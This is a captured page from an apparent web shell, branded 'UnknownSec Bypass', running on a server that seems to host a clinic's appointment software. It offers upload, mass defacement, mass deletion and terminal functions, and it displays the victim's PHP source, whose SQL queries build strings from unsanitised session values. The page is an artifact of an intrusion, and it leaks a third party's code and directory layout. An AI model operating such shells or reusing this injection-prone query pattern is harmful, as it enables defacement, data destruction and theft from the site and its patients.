UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
load_doctor_slot.php
<?php require_once "config.php"; session_start(); // $canteenname= $_SESSION["admincanteenname"]; $depid= $_SESSION["depart"]; $consultantid= $_SESSION["consultant"]; $currentdate=date("y-m-d"); $json = array(); $eventArray = array(); $sqlQuery1 = "SELECT holidaydescription as title,holidaydate1 as start,'#FF0000' as backgroundColor FROM masterappointmenttb where depid='".$depid."' and consultantid='".$consultantid."' and holidaydate1 >='".$currentdate."' and identifier=1 "; $result1 = mysqli_query($conn, $sqlQuery1); while ($row1 = mysqli_fetch_assoc($result1)) { $r=$row1; array_push($eventArray, $r); } mysqli_free_result($result1); $sqlQuery="SELECT Sum(noofseats) as title,seatdate1 as start,'#cdf3cd' as backgroundColor from v_totalavailableslot where depid='".$depid."' and consultantid='".$consultantid."' and seatdate1 >='".$currentdate."' group by seatdate1"; $result = mysqli_query($conn, $sqlQuery); while ($row = mysqli_fetch_assoc($result)) { if($row["title"]==0) { $row["title"]="NA"; array_push($eventArray, $row); } else { array_push($eventArray, $row); } } mysqli_free_result($result); mysqli_close($conn); echo json_encode($eventArray); ?>
Copyright © 2025 - UnknownSec